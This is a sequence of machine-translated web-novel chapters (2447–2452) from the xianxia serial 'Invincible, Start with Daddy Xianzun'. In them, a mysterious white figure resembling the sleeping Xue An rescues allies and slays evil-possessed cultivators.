    Shen Gaoge finally couldn''t help but whispered to his younger sister, Shen Hongyi, who was sitting aside.


    "Sister, can the second son really come back so quickly?"


    Shen Hongyi looked ahead and said lightly: "What? Do you think it''s impossible?"


    "Of course not, I just think this time is a bit too tight, and let''s not talk about it, that is, we are very far away from the Pharmacist Alliance..."


    Shen Gaoge didn''t say anything afterwards, but the meaning was already obvious.


    No matter how strong the second son is, he can''t go back and forth across such a long distance in such a short time!


    But after listening to his words, Shen Hongyi turned his eyes slightly, glanced at him, and then sighed slightly.


    "Do you know why your achievements in kendo have not made much progress?"


    "why?"


    "It''s because your vision is too narrow, so narrow that it can only hold the sword in your hand, but you can''t see other people!"


    Shen Gaoge looked embarrassed, but his eyes loomed with dissatisfaction.


    Although he was respectful and scared of his sister, he didn''t dare to refute easily, but this time it was equivalent to being criticized by Shen Hongyi for being too weak.


    This is simply unacceptable for a proud sword repairman.


    "Why? Dissatisfied? Well, do you have the guts to make a bet with me?"


    "What are you betting on?"


    "If the wine in the bottle on the table disappears before the second son returns, then I will count as a loss, and I won''t call you **** in the future, how about it?"


    Shen Gaoge''s eyes lit up, but he said carefully, "Then what if you come back?"


    "If you come back..." Shen Hongyi''s mouth raised a meaningful smile, "Then you have to obediently admit that you are indeed a trash! And you have to announce it in front of everyone!"


    Seeing the smile on his sister''s face, Shen Gaoge''s body became stiff, and his face turned pale in an instant.


    For Shen Hongyi''s smile, as his own brother, he couldn''t be more familiar with it.


    Once it appears, it often means that you will fall into a trap immediately.


    So countless thoughts flashed through his mind in an instant.


    what happened?


    Could it be that things are as my sister said, the second son can come back in time?


    But is that really possible?


    These thoughts kept circling in his mind, which made him hesitate to speak.


    Seeing this scene, Shen Hongyi couldn''t help but sneer.


    "Since you don''t have the courage, don''t talk nonsense. To tell you the truth, the second son after leaving the customs has reached a height that you can''t understand. What you think is impossible may not be a problem at all in his hands. !"


    Hearing what his sister said, Shen Gaoge was startled in a cold sweat.


    A height that even oneself can''t understand.......


    Could it be...


    Just as the look on his face was changing rapidly, cracks appeared in the void in the middle of the hall, and then burst into pieces.


    Then Shen Muyu stepped out of the middle section.


    His appearance caused this huge hall to set off a stormy sea.


    Because there are not a few people who share the same ideas as Shen Gaoge.


    They all felt that at such a long distance, it was impossible for the second son to come back so quickly.


    But the facts before them directly shattered their cognition.


    "It''s the second son!"


    "Second Young Master is really back!"


    "Oh my god, it''s incredible to go back and forth so quickly for such a long distance!"


    "The wine on the table is not cold yet, this is really warm wine waiting!"


    Amidst a sound of exclamation, Shen Muyu stood tall, punching the Patriarch and the treasurer on the high platform.


    "Patriarch, great treasurer, Mu Yu is back!"


    "Good! Good! Come back soon! The banquet is ready, take a seat!" The shopkeeper said with a smile.


    "Yes!"


    Neither the big treasurer nor the Patriarch had ever asked what happened during the whole process.


    Because with their eyesight, it is natural to see that Shen Muyu is not **** at a glance, which shows that he has not done anything.


    really.


    After sitting down, Shen Muyu drank a glass of wine lightly, and then put the glass down.


    "Patriarch, great treasurer, I have already found out that the Shen Family Jianxin in Xue An''s hands was indeed not plundered. It is very likely that Shen family heirs really gave it before his death!"


    As soon as this statement came out, the audience was in an uproar.


    "How is it possible? The Shen family''s sword heart is so precious, how can anyone give this thing to someone with a foreign surname?" someone said with a face full of disbelief.


    Even Shen Hongyi cast a suspicious look at the second son.


    He also didn''t believe that the thing was actually given to Xue An


    The shopkeeper was not in a hurry, and he smiled until the situation in the court became a little quieter.


    "Oh? You already have evidence if you say that?"


    Shen Muyu nodded, "Yes, because I have touched the sword heart with my hands, and didn''t feel any resentment in it. On the contrary, I was full of attachment to Xue An, and even broke away from me in the end. Come back to him!"


    "Oh?" The big shopkeeper''s eyes lit up.


    "You said this sword heart can actually break away from your shackles on it?"


    "Yes! I was also a little surprised at the time!"


    The treasurer fell into silence and seemed to be thinking about something.


    The Patriarch on the side suddenly said: "Then what is Xue An''s strength?"


    Shen Muyu smiled, "The realm is very high, but the strength has nothing to do with it!"


    "Is this the evaluation again?" The mist that enveloped the Patriarch was disturbed.


    Shen Muyu nodded, "Yes, at first I didn''t believe that someone''s realm could surpass strength, but after seeing him, I believed it, because his realm is so high that he can even use a ray of sword in a closed state. It hurts me!"


    "what?"


    The head of the Shen family and the treasurer both asked in surprise at the same time.


    The audience was also in an uproar.


    You must know that this second son, Shen Muyu, has never failed since he became an adult, let alone injured.


    Unexpectedly, this time was actually injured by a little-known person, which is too shocking.


    There was a flash of joy in Shen Gaoge''s eyes, and then he looked around That means don''t say I''m a trash anymore. Didn''t you see that the second son didn''t get any advantage when dealing with Xue An?


    Just as the audience was boiling, Shen Muyu gently filled a glass of wine, and then slowly drank it.


    After drinking, he fiddled with the glass in his hand and said lightly.


    "But you don''t have to pay too much attention to this matter. I have already issued a war script to him. When the Hundred Schools Conference is waiting, I will cut it under the sword in front of the people of the world, and restore my Shen family''s failure. Defeated!"


    The words are full of irrefutable strong self-confidence.


    Everyone calmed down, a smile appeared on the face of the big shopkeeper, and then raised the cup.


    "Well, that''s the case, then we all drink this cup together!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2447, drink this cup together), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2448： White figure

    "Invincible, start a novel from Daddy Xianzun ( Find the latest chapter!


    Funiu Mountain.


    Zhenwu Taoist Temple.


    Lu Zhongxuan looked at the message in his hand with a smile.


    Lu Fei''an couldn''t help but ask, "My lord, what is there to make you so happy?"


    "Oh, nothing, it''s just some news about the outside world. I didn''t expect that the second son of the Shen family actually left the pass, and as soon as he left the pass, he ran directly to the Pharmacist Alliance to find the goddess of the Xuantian Empress!"


    Lu Fei''s certainly understood that there must be a reason for this, but the strict hierarchy made him afraid to ask more.


    The news in Lu Zhongxuan''s hands was indeed about Shen Muyu and Xue An.


    The person who sent it to him was his superior, the man in black.


    The man in black understood in the letter that Lu Zhongxuan should be asked to monitor the development of this matter at all costs, and report it to him as soon as there is a situation.


    Of course, this wouldn''t make Lu Zhongxuan so happy. What really made him happy was the strength that the man in black showed between the lines.


    As the confidant of the man in black, Lu Zhongxuan clearly felt that the strength of the boss had made great progress.


    Needless to say, this must be a reward from those big guys outside the starry sky.


    Your boss''s strength becomes stronger and stronger, isn''t your status also rising with the tide?


    This is why Lu Zhongxuan is so happy.


    After laughing for a moment, Lu Zhongxuan looked solemnly.


    "No!"


    "Subordinates are here!"


    "Now you are taking a few people to the Pharmacist Alliance, especially to closely observe the movements of the Empress Xuantian and the retreat Xue An, and report to me as soon as there is progress!"


    "Yes!" Lu Feifei immediately took his orders and left.


    "Also, remember to hide your identity, and don''t let others detect it!"


    "understand!"


    Lu Feihu led the people around and left.


    And just as he rushed to the Pharmacist Alliance with someone, Siming Qi was in a great crisis.


    At this moment, in the temporary foothold of the Si family, the atmosphere is very solemn.


    Si Mingqi was sitting in the middle with a pale face, but the Si family people with dissatisfaction stood below them.


    "What? You don''t even listen to me, is this trying to rebel?" Si Mingqi shouted angrily.


    One of them showed sarcasm on his face.


    "My Patriarch, you are too subjective when you say this. When did we say that we didn''t listen to you?"


    "Then what are you doing now?" Simingqi angered.


    "We are just discussing what the Si family should do next, do we really have to stay in this ghost place forever?"


    "Yeah! Seeing that the situation of the entire universe is becoming more and more chaotic due to the upcoming Hundreds Conference, and there are several other companies in the Pharmacist Alliance staring at it. I think our top priority is to hide it as soon as possible, so as to preserve our strength, and It��s not in this place!"


    "Yes, I agree!"


    "I agree!"


    This man''s words caused a sound of agreement.


    However, Si Mingqi''s heart gradually sank, because this was obviously a sign that his control was about to collapse.


    In this case, anger not only cannot solve the problem, but it can easily intensify conflicts.


    So he forced himself to suppress the anger in his heart, took a deep breath, and said slowly.


    "I understand everyone''s feelings, and I also understand that our family has indeed reached the point of life and death."


    "But I still said that. Mr. Xue is about to break the barrier. This will be a once-in-a-lifetime opportunity for our company. If we can seize it, we can not only preserve our strength, but also shine in the future, so Wouldn''t it be a shame if we gave up now?"


    Si Mingqi said temptingly.


    But as soon as his words fell, the person who had caused everyone to agree before sneered and said: "Si Pai Master, you have said these words more than a hundred times recently, right? We all have our ears all ears. But who Seeing that Mr. Xue in your mouth has left the customs again?"


    "On the contrary, he was also approached by the peerless genius of the Shen family to set up the battle book. In this way, what happens even if he leaves the barrier? Doesn''t he have to die by the sword of the Shen family?"


    This population is so good, just a few words will stir up the emotions of everyone present.


    Seeing this scene, Simingqi clenched his teeth and stared at the speaker.


    "Si Hongtao, don''t go too far!"


    "Haha, Simingqi? I am too much or you are too much?" Si Hongtao sneered, completely disregarded.


    Si Mingqi''s eyes almost burst into flames.


    He knew very well that Si Hongtao did this for a reason.


    This Si Hongtao had the closest relationship with the deceased Si Yicheng, and even Si Hongtao always regarded Si Yi as his master.


    It is precisely because of this that when Si Yicheng died, he would hold a grudge and transfer all the anger to himself.


    Siming Qi took a deep breath and forced himself to calm down again.


    "Si Hongtao, did you speak to the Patriarch in this tone?"


    "Hahaha, Simingqi, you really regard yourself as the head of the house! To tell you the truth, in my eyes you are just a sinister villain who slaughtered his father and murdered his brother and killed his benefactor. What kind of housekeeper are you? ?"


    Following this questioning, the contradiction between Si Hongtao and Simingqi finally intensified and reached a fever pitch.


    Siming Qi was furious, and just about to have an attack, he immediately saw the killing intent in Si Hongtao''s eyes, and he couldn''t help being shocked.


    Immediately afterwards, he noticed that many people in Sijia had quietly stood behind Si Hongtao.


    As for the others, there are many who stand far away and seem to want to stay out of the matter.


    Only less than one-third of people are truly on their side.


    This discovery made Simingqi''s eyelids jump wildly.


    Si Hongtao laughed arrogantly, "What? Persuaded? Si Mingqi, if you are acquainted today, you will obediently give up the position of Patriarch, otherwise..."


    puff!


    Otherwise, Si Hongtao''s head would soar into the sky before the next words were finished, bringing out countless blood.


    This scene was so sudden, and even stunned everyone in the Si family.


    Siming Qi was even more shocked.


    At this moment, Si Hongtao''s head fell to the ground, his face still solidified with the confusion and disbelief of the moment before his death.


    I don''t seem to believe that I actually died like this.


    At the same time, in front of Si Hongtao, a white figure gradually appeared.


    Seeing this familiar figure, Si Mingqi''s heart jumped wildly and stood up ecstatically.


    "Xue...Mr. Xue?"


    This title made everyone''s hearts tremble.


    Unexpectedly, the white figure did not respond to Si Mingqi''s words, just glanced at the people behind Si Hongtao.


    Looking across , these people were all pressed to the ground by the mighty power, and they couldn''t even lift their heads.


    This silent deterrence shocked everyone.


    Si Mingqi knelt to the ground with a plop, and said with great excitement.


    "Mr. Xue, you are finally out!"


    But the white figure still didn''t say a word, just turned his head and glanced at him.


    In an instant, Si Mingqi felt a chill that pierced his lungs, but what made him even more shocked was the face of this white figure, which was actually blurred.


    At this moment, this white figure got up and walked out.


    Si Mingqi trembled all over, and immediately stood up and followed him, but as soon as he walked out the door, the white figure had completely disappeared.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2448 White Figure), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2449： White clothes

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Lu Yangyan looked at Cha Wenliang hopefully, "How about checking the genius doctor?"


    Cha Wenliang let go of the pulse signal and shook his head, "Still not!"


    Although he had expected it, Lu Yangyan still couldn''t hide the disappointment in his eyes.


    Cha Wenliang sighed when he saw it, took a golden needle from his arms and handed it to Lu Yangyan.


    "If she has another attack in a while, you will use this golden needle to **** the Laogong acupoint on her palm, so that you can temporarily suppress the chaotic blood in her body!"


    Lu Yangyan took the golden needle and said very sincerely: "Thank you for checking the genius doctor! If my yangyan is useful in the future, Yangyan will definitely die!"


    Cha Wenliang waved his hand, "It doesn''t have to be that way, to be honest, I have never seen such a weird disease as your sister in so many years of practicing medicine, it''s like..."


    Cha Wenliang pondered his words, and then said solemnly: "It''s as if there is another soul hidden in her body!"


    Hearing what Cha Wenliang said, Lu Yangyan couldn''t help frowning, and said desperately, "Is there really no way to solve it?"


    "It''s difficult! Little Calabash protected her Sea of ??Consciousness in a certain way, which is a chance for your sister''s soul to breathe, but the chaos of Qi and blood in her body still exists, which is why she does it every day. The reason for the attack at a fixed moment!"


    Speaking of this, Cha Wenliang stood up and said helplessly.


    "Even if it''s me, it''s actually just temporarily stabilizing her qi and blood through the golden needle. As for the others, I dare not touch them, because this chaotic qi and blood are too deeply entangled with your sister''s body. Hurt your sister''s life!"


    Lu Yangyan nodded, "But no matter what, I still want to thank the genius doctor Cha for your help. In fact, I am thinking these days, if my sister really can''t be cured..."


    Lu Yangyan turned his head and glanced at Lu Xiaoya who was lying on the bed, with a decisive expression in his eyes.


    "Then I will raise her like this for the rest of my life!"


    Looking at Lu Yangyan who had made up his mind, Zha Wenliang sighed, "You brother is really nothing to say, I hope your sister can have her own life, and wake up soon!"


    After that, he turned and left.


    Lu Yangyan got up to see him off.


    Zha Wenliang shook his head, "You don''t have to be so polite, you can''t do without people here, you should guard your sister!"


    Lu Yangyan clasped his fists as his chest, and hit the chief inspector, "If this is the case, then I won''t send you the genius doctor!"


    Cha Wenliang walked away.


    The two of them were left in the house.


    Lu Yangyan sat back on the bed again and looked at his younger sister''s haggard face. His strong disguise was finally removed, and a sad color appeared in his eyes.


    "Xiaoya, can you hear me? Brother is here, don''t be afraid, you must live strong and don''t give up!"


    "I will definitely try my best to cure you! No matter how much you pay!" Lu Yangyan muttered softly, and then gently held his sister''s cold little hand.


    But at this moment, Lu Xiaoya seemed to have heard his voice, and her whole body was shocked.


    Then Lu Yangyan felt that his sister''s hand was heating up rapidly.


    At the same time, Lu Xiaoya''s body began to tremble, and there was pain on her face.


    Lu Yangyan was shocked, and immediately took out the golden needle Zha Wenliang had given him, and pierced it at the Laogong acupoint on his sister''s palm.


    Suddenly, Lu Xiaoya, who had been trembling, quieted down.


    But before Lu Yangyan breathed a sigh of relief, Lu Xiaoya, who had been quiet, suddenly began to tremble violently again.


    Moreover, the frequency and amplitude of the tremor are much more severe than before.


    Not only that, Lu Xiaoya opened her eyes suddenly. There was no human emotion in her eyes, only the endless coldness.


    Lu Yangyan was frightened by the scene that had never appeared before, and in desperation had no choice but to temporarily suppress his sister with his own power, and then got up and ran out, seeking help.


    But as soon as he opened the door, he suddenly saw a white figure standing in the courtyard.


    When he saw this figure, Lu Yangyan was shocked first, and then he was infinitely surprised and said: "Gongong? Is that you?"


    But this figure did not respond to his words, but dispersed like a mist.


    Lu Yangyan was stunned.


    How is this going?


    Could it be that he was dazzled and illusioned?


    At this moment, he suddenly felt cold behind him and turned around to take a look, but he saw that the white figure had appeared in the room some time ago and walked to the bed.


    Although Lu Yangyan could keenly perceive that this white figure was not malicious, and he was inextricably linked with Xue An.


    But it was his sister, he couldn''t help taking a few steps, trying to stop it.


    But he had just taken two steps, and an invisible power directly frightened him on the spot.


    Lu Yangyan stood stiff on the spot, except for the slight turning of his eyeballs, he couldn''t even move a finger. He could only watch the white figure stretch out his hand and put it gently on his sister''s wrist.


    Strangely speaking, Lu Xiaoya, who had been trembling, gradually calmed down after being touched by this white figure.


    Seeing this scene, Lu Yangyan couldn''t help letting out a sigh, no matter what, the other party should be harmless.


    But this thought of him had just flashed, and he saw the white figure slamming a finger out, piercing Lu Xiaoya''s eyebrows.


    Do not!


    Lu Yangyan roared wildly in his heart, but still couldn''t shake the power that restrained him.


    In the blink of an eye, this white figure brushed between Lu Xiaoya''s eyebrows, then turned to look at Lu Yangyan, and then disappeared like a ghost again.


    As soon as this white figure dissipated, the power that restrained Lu Yangyan also disappeared.


    He immediately rushed to the bed and looked at his sister.


    Then he was dumbfounded.


    Seeing Lu Xiaoya lying on the bed, her breath was long, her cheeks were red, and she slept very soundly.


    The key is that there was a little red between her eyebrows, as if she had been pierced by something, and then a drop of blood came out.


    But obviously the boiling blood in her body has returned to calm.


    Lu Yangyan stared blankly, and it wasn''t until a moment later that he suddenly remembered something. He turned around abruptly, and rushed towards the outside of the house.


    The courtyard is empty, UU reading and there are no people.


    Lu Yangyan gritted his teeth, raised his hand and left a few detection circles in the room where his sister was sleeping, and then flew up and flew towards the battle formation.


    At the same moment, a group of people walked on the streets of this temporary small town.


    Ao Shu walked forward enthusiastically, holding an oversized ice cream in his hand.


    That''s right!


    It''s ice cream!


    It''s just that her ice cream is obviously out of normal size, and it''s even as big as her head.


    In contrast, with the misses behind her, the ice cream in her hand is much more normal.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2449 Baiyi Rumei), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2450： Misconduct

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    But even so, when the three of them walked together, they formed a spectacular scenery.


    In this regard, the little gourd who followed was just sitting on the sidelines, because she still had a gem in her mouth.


    This is a newly invented way of eating that she recently invented. Compared to chewing and chewing directly, so that it is held in the mouth, just like candy, the melting time is obviously much longer, which can just kill the time.


    "Huhu, Sister Long, is this ice cream delicious?" Nian Nian asked.


    "Yeah! It''s delicious!" Ao Shu ate his head, the huge ice cream is beginning to shrink at a speed visible to the naked eye.


    "Then can we eat more often in the future?" I couldn''t help but ask.


    Ao Shu raised his head and smiled, then lowered his voice and said, "Of course you can, but you have to cooperate with me so that you can steal it from your mother!"


    Of course there is no ice cream for sale in this pharmacist alliance.


    In fact, these ice creams were stolen from Fu Bao Xiaolou by colluding with Ao Shu.


    When Xue An was leaving the earth, he knew that his two daughters loved to eat ice cream, so he prepared a lot of them and stored them in the storage space of the Fubao Xiaolou.


    It''s just that An Yan didn''t allow them to eat too much in order to cultivate the good habits of the two daughters, and only two a day at most.


    But now that An Yan stays on the front all day, this gives Ao Shu and the two little girls a "opportunity."


    After all, Xue An��s severe injury and retreat before frightened everyone. Although the two little girls were locked in the Fubao Xiaolou, they knew that something must have happened, so they were all frightened.


    Now with Xue An''s gradual recovery, the haze that hung over everyone''s heads has finally gradually dissipated.


    So Ao Shu released the miss from the Fubao Xiaolou in the name of bringing two little girls out to relax.


    These ice creams were secretly taken out when they came out.


    The two little girls nodded vigorously.


    "Ok!"


    "Go, let''s go over there to see the excitement!"


    A group of people crossed the bustling street and walked inside.


    But Ao Shu didn''t know, at this moment, in the corner of the street, a sinister gaze was watching them.


    Lu Fei licked his lips, looked across most of the street, staying on Ao Shu, and said in a greedy tone.


    "It''s a dragon girl, and she''s still a young girl. This is really rare!"


    The men behind him burst into laughter.


    "My dear, why? Are you tempted?" Someone laughed.


    Lu Fei''s nodded, "I really want to try, the dragon girl like this is of great help to my practice!"


    "Then why are you still hesitating, can you just find a chance to grab it and enjoy it?"


    Lu Fei shook his head angrily, "Hey, you can''t act too hastily. We are here to inquire about the news. It would be no good if we are stunned!"


    After Lv Fei''an and his party came out of Funiu Mountain, they went straight to this small town of the Pharmacist Alliance.


    Because if you want to inquire about Nine Heavens Profound Girl and Xue An, there is nothing more appropriate than this small town.


    In fact, this small town was established because of the blockade.


    Later, because there are many monks on the guardian front, and among them, there are many strong ones. The needs of these people are a large number.


    So soon this temporary town prospered.


    Businessmen and guests from all walks of life came here, which actually gave the place some urban shadows.


    That''s why Lu Fei''an brought people here directly to inquire about the news.


    At this moment, Lu Qixian, the great sacrifice wine on the side, suddenly said: "Your Excellency, something is wrong!"


    "what''s happenin?"


    The Dajijiu hurriedly bowed his head and saluted him. Although he was said to be higher than Lu Fei''s in name, the entire Zhenwu Dao faction has now fallen under the infestation of evil things.


    Naturally, Lu Qixian was no exception. Among the evil things, he was far inferior to Lu Fei''s hatred, and he was naturally very respectful.


    "Sir, I just found out that one of the three little girls next to the dragon girl is very familiar!"


    "Oh? Familiar? Who is that?"


    "It should be the little girl who appeared with the Empress Xuantian and the genius doctor Cha Wenliang!"


    With that said, Lu Qixian recounted everything he had encountered with Empress Xuantian.


    At that time, Lu Fei''an had just been infested by evil spirits and was still resting in the hotel. Naturally, he didn''t know these things.


    After listening, he couldn''t help showing a meaningful expression.


    "Oh, then, this group of people should have something to do with Empress Xuantian?"


    "It shouldn''t be wrong!"


    "Well, if that''s the case, then we don''t have to cover up, just grab this group of people and interrogate them, don''t we know everything?"


    Speaking of the last, a ruthless look flashed across Lu Fei''s face.


    "Yes!"


    His words were orders, and the group immediately walked out of the corner and quietly surrounded Chao Ao Shu and his group.


    Although this small town is very prosperous, it is not large in scale.


    Ao Shu led the two little girls and quickly walked to the end.


    Just as they turned to walk back, suddenly, the street behind them was enveloped in a thin layer of mist.


    The crowd that had just been bustling also disappeared.


    This sudden scene shocked Ao Shu''s heart, and Xuan even shielded her missing thoughts behind her.


    "Sister Long, what''s wrong?"


    "It''s okay, it''s just that there are a group of Xiaoxiao, you stand behind me and don''t move." Ao Shu sneered.


    "Yeah!" Miss Nian stood in place cleverly, and even was in the mood to eat the ice cream in his hand.


    At this time, Lu Fei''s group walked out of the mist.


    After seeing them, the little gourd on the side suddenly gave a shock.


    "What? Do you know them?" Ao Shu asked.


    Xiao Hulu nodded, "I''ve seen them before, they are all members of the True Martial Dao School of Funiu Mountain, but why is the aura on their bodies different?"


    Although Ao Shu was not present when the Nine Heavens Profound Girl blasted away the Zhenwu Dao Sect, she also heard Master Cha Wenliang talk about it later, so she couldn''t help but sneer.


    "Who am I? It turns out to be a bunch of savvy people!"


    He didn''t take Lu Fei''an and others seriously at all.


    Lu Fei was not angry when he heard the words, and even ignored Ao Shu. Instead, he smiled, rubbed his hands, and said excitedly: "Are you all here?"


    The subordinates behind him replied: "Your Excellency, it''s all here, and the whole street has been completely blocked by the illusion. Then you can do whatever you want!"


    "Good! Good!" Lu Fei grinned and smiled sorrowfully.


    "In this case, then I''m not welcome!"


    Following the voice, he saw his hands instantly turn into ten sticky tentacles, heading straight for Ao Shu and his party.


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 2450 Conspiracy) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2451： The sword glow is full of bones

    "Invincible, start a novel from Daddy Xianzun ( Find the latest chapter!


    Ao Shu snorted coldly, his figure did not move, but he waved a palm casually, and the majestic dragon blasted these tentacles straight.


    Before Long Wei arrived, the mucus on these tentacles made a sizzling sound.


    This is because Ao Shu is a princess of the real dragon family, with an extremely noble bloodline, and naturally has a certain degree of restraint against these evil things.


    But these tentacles are extremely cunning and cunning. Although Longwei came in a sudden, they turned aside at an almost impossible angle, and then attacked Ao Shu again.


    And the location of the attack this time was a bit hard to tell.


    Ao Shu''s face sank, and he shouted angrily: "Shameless!"


    As she said, she took a step forward, and the whole body was rolling, the flames boiled, and one foot stepped on a tentacle.


    "Squeak!"


    This tentacle made a painful groan, struggling like a strange snake, so powerful that it almost knocked Ao Shu to the ground.


    A cold light flashed in Ao Shu''s eyes, and the burning dragon flame directly covered the tentacle under his feet.


    Accompanied by a stinking smell of grilling, this tentacle finally turned into fly ash.


    But this is just one of the tentacles.


    Lu Fei sneered, "Little ladies actually have some strength, but the more you are like this, the more excited I will be, uncle, so...accept your fate!"


    As he said, there was a flash of excitement mixed with cruelty and tyranny in his eyes.


    The remaining nine tentacles immediately dived into the ground, and then surrounded Ao Shu from all angles.


    "Sister Long, be careful!" Thinking about it, she couldn''t help but exclaimed.


    Ao Shu''s face was solemn, "I''m fine, after you two go back quickly, don''t get close to these pickled things!"


    Following the voice, she waved her hands repeatedly, and Long Wei mingled with flaming dragon flames one after another, fighting with these nine tentacles.


    The more he fought, the more frightened Ao Shu became.


    Obviously, these people here are definitely not from the Funiu Mountain Zhenwu Dao Sect.


    Because even the unpredictable Taoist school can''t practice this kind of sorcery.


    In combination with the fact that Xiao Hulu said that the aura on their bodies was different from before, Ao Shu felt a cold heart for no reason.


    What is the origin of these people? Why is the shot so weird and evil? And what are they doing here?


    Just when she was distracted, the tentacle that had been crushed by her foot was resurrected silently.


    Not only did it resurrect, it also slowly moved its position. After finding a suitable angle, it slammed up and shot towards Ao Shu like a bullet.


    "Be careful!" Xiao Hulu shouted.


    Ao Shu also noticed the attacking tentacles, but at this time she had no time to react. She could only grit her teeth and urge her dragon''s breath frantically to try to withstand the attack.


    Lu Fei sneered, his eyes were excited, and he seemed to have seen the scene of Ao Shu lying on the ground for the next second.


    Because this blow was caused by the evil spirit he gathered all over his body, how could it be blocked by Long Yan on Ao Shu''s body.


    But at this moment, a ray of sword light passed through the sky silently, directly splitting the tentacle in the sky in half.


    The tentacles froze in the air, and then they disintegrated into pieces.


    This sudden blow caused Lu Fei''s body to be stunned, and under the backlash, almost a mouthful of blood spurted out.


    "who?"


    Lu Fei roared in anger, but his figure retreated silently, and he was ready to escape at any time.


    From this point, we can see that Lu Fei is cautious and cautious.


    He is very clear about what the sword just now means, and let alone how powerful it is, just relying on his ignorance of this beforehand, he can see that the person who shot it is not a waiter.


    To be on the safe side, he naturally has to prepare in advance.


    really.


    As soon as his voice fell, a white figure appeared in the field.


    Upon seeing this figure, Ao Shu couldn''t help shouting with infinite joy.


    "Brother Xue, are you awake?"


    In ecstasy, she had completely forgotten that she was in danger.


    Those tentacles took advantage of the vacancy and came straight in.


    But in the next instant, these tentacles all stiffened, and then they disintegrated silently.


    Because just now, the strands were inconspicuous, and even some weak sword lights came straight.


    Regardless of how inconspicuous these sword lights are, they are actually sharp and unparalleled, and they easily smashed these tentacles.


    Ao Shu, who had just got out of trouble, rushed towards the white figure with great joy regardless of his own safety.


    But compared to her excitement, the performance of missing these two little girls is much calmer.


    "Sister, do you think he is a father?" Nian Nian asked.


    Thinking about it, she shook her head, her little face said solemnly: "It looks alike, but not exactly!"


    "What is incomplete?" Nian Nian looked puzzled.


    Think about it, frowning and thinking for a moment, "The breath on his body is obviously that of Dad, but I can''t see his soul!"


    Niannian nodded thoughtfully.


    She has always been very convinced of her sister''s vision.


    Because it is different from his own bloodline talent that speaks the law with his own, sister Xue Xiang''s strongest talent is the pair of true eyes that can see through all falsehoods.


    Although the blood talents of the two sisters have not really grown up because of their young age.


    But for their father, they would never be wrong.


    So if the white figure in front of you is not father, then who is it?


    Just when the two little girls were puzzled.


    Ao Shu also rushed for nothing.


    Because the moment she rushed to the figure, the figure suddenly dispersed like a mist.


    Ao Shu went straight through the mist, with a look of shock on his face, then turned around and looked around.


    But in front of Lu Fei''an and the others, the mist recondensed and a white figure appeared.


    Then came the sword light surging out.


    There was no sound, this white figure hadn''t even said a word since it appeared, just standing there, and endless sharp sword lights burst out of his body.


    Puff puff!


    When Jianmang arrived, Lu Fei''s so-called subordinates were directly stabbed into a hornet''s nest without even humming.


    Blood gushed out and evil spirits diffused.


    But in the next second, these evil spirits and the spirits of these people were all swallowed by this endless sword light.


    Jianmang is passing, UU reading www.uukanshu. com is nothing but bones.


    But Lu Feihu is the only one missing.


    Because he turned around and fled as soon as Jian Mangfu appeared.


    Speaking of his cautiousness reached its peak at just that moment.


    Almost when he saw the white figure spread out like mist, he made up his mind to escape.


    When the white figure reunited in front of him, he was ready to escape.


    So as soon as Jian Mang appeared, he had already walked out of this illusion and flew far away at an extremely fast speed.


    But he had just risen to a height of one person, before he even ran out of this street, a ray of sword light came from behind and pierced his throat with lightning speed.


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2451 is full of bones in the sword mang), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2452： you did it? Yeah, I did it! ...

    "Invincible, start a novel from Daddy Xianzun ( Find the latest chapter!


    puff!


    With blood pouring down, Lu Fei''s body trembled, his eyes filled with horror, and he didn''t seem to believe that he was so dead.


    At the same time, evil spirits gushed out of his sea of ??knowledge and gathered around his neck, trying to repair the big hole in his throat.


    But all is in vain.


    When the evil spirit just touched the wound, it was like pouring a scoop of cold water in a hot pot. The hidden intent of the sword that was hidden in the wound exploded, directly exploding his whole body into Shattered.


    The blood mingled with the meat fell down.


    The whole street was alarmed.


    The crowd on the street only saw a person rushing out of the void just now, trying to escape, but just a few steps away, it was completely blown to pieces.


    This **** and terrifying scene made many people frightened and fled.


    In the illusion, the white figure turned his head and seemed to glance at the two little girls, Ao Shu and the others, and then disappeared again.


    With the disappearance of this figure, this illusion also disintegrated and became invisible.


    Ao Shu stood there blankly, whispering softly, "Brother Xue...Is that you?"


    Suddenly!


    She seemed to have thought of something, and immediately turned around and shouted to Miss Miss.


    "Quick! Let''s hurry back!"


    In a moment, a group of people rose up into the sky and rushed toward the front.


    When they rushed to the retreat in the middle of the battle line, Lu Yangyan had already rushed to this place first, and told what had happened to the Nine Heavens Profound Girl and An Yan who were waiting here.


    After listening, Jiu Tian Xuan Nu and An Yan couldn''t help looking at each other.


    "You said a white figure saved your sister?"


    Lu Yangyan nodded, "Besides, both the breath and the feeling are just like Mr. Xue, so I wonder if Mr. Xue has already left the customs, so come and have a look."


    Nine Heavens Profound Girl and An Yan shook their heads together.


    "Impossible, we have been waiting here, if Xue An really broke through the barrier, how could we not know?" Nine Heavens Profound Girl said decisively.


    "If that''s the case, who would that white figure be?" Lu Yangyan was puzzled.


    At this moment, Ao Shu led Miss Miss and Little Gourd rushed to him.


    The first sentence of the meeting asked: "Has Brother Xue left?"


    An Yan shook his head, "What? Did you meet that white figure too?"


    "Hey, do you already know?" Ao Shu asked in surprise.


    "Know what? Tell me!" An Yan asked anxiously.


    Ao Shu did not dare to delay, and quickly recounted what had just happened.


    After she finished speaking, the audience fell into silence.


    If what Lu Yangyan said before could be described by coincidence.


    So what Ao Shu said now is completely incomprehensible.


